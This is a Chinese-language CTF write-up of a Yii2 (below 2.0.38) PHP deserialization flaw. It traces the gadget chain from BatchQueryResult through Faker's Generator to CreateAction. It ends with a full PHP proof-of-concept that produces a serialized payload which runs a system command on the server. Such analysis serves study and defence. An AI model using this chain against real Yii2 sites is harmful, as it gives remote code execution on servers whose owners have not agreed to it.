前言
在红帽杯跟国赛都出了Yii2框架的反序列化题,借此机会来分析一下该框架漏洞
配置环境
在github下了这个版本的源码。

在config/web.php里配置cookieValidationKey,否则会报错。

SiteController中加入反序列化点,通过r=site%2Ftest来触发。

利用条件
Yii2 < 2.0.38
利用链
yii\db\BatchQueryResult::__destruct()
Faker\Generator::__call()
yii\rest\CreateAction::run()
构造利用链
触发点:/vendor/yiisoft/yii2/db/BatchQueryResult.php, $this->_dataReader参数可控,可以用来触发__call方法。

全局搜一下__call方法,找到/vendor/fzaninotto/faker/src/Faker/Generator.php

跟进一下Generator.php,进入__call方法后,调用了$this->format($method, $attributes), 查看一下$this->format($method, $attributes)同名方法。

将$this->getFormatter($formatter)的返回值作为参数, 传入call_user_func_array($this->getFormatter($formatter), $arguments)。 这里的$this->getFormatter($formatter)可控,而$arguments是由__call()方法来的,此处没有传参进来不可控。 所以我们将这个call_user_func_array作为跳板,去找一个执行类去回调。

这里找了一个参数可控的call_user_func,/vendor/yiisoft/yii2/rest/CreateAction.php

控制$this->checkAccess为系统函数, 来回调系统函数进行命令执行。

POC
<?php
namespace yii\db;
use Faker\Generator;
class BatchQueryResult
{
private $_dataReader;
public function __construct($obj)
{
$this->_dataReader = $obj;
}
public function __destruct()
{
}
public function reset()
{
}
}
$pwn = new BatchQueryResult(new Generator());
echo base64_encode(serialize($pwn));
namespace Faker;
use yii\rest\CreateAction;
class Generator
{
protected $formatters = [];
public function __construct()
{
$this->formatters = ['close' => [new CreateAction(), 'run']];
}
public function __call($method, $attributes)
{
}
public function format($formatter, $arguments = array())
{
}
public function getFormatter($formatter)
{
}
}
namespace yii\rest;
class Action
{
public $checkAccess;
public $id;
public function __construct()
{
$this->checkAccess = 'system';
$this->id = 'ls';
}
}
namespace yii\rest;
class CreateAction extends Action
{
public function run()
{
}
}
There Is Nothing Below
